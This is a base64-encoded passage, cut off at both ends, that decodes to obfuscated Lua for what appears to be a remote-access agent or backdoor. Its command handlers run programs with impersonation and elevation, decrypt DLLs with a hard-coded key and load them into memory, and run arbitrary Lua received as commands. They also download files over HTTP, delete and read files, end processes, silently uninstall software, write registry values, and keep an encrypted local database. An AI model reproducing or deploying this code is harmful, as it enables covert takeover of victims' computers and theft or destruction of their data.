IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
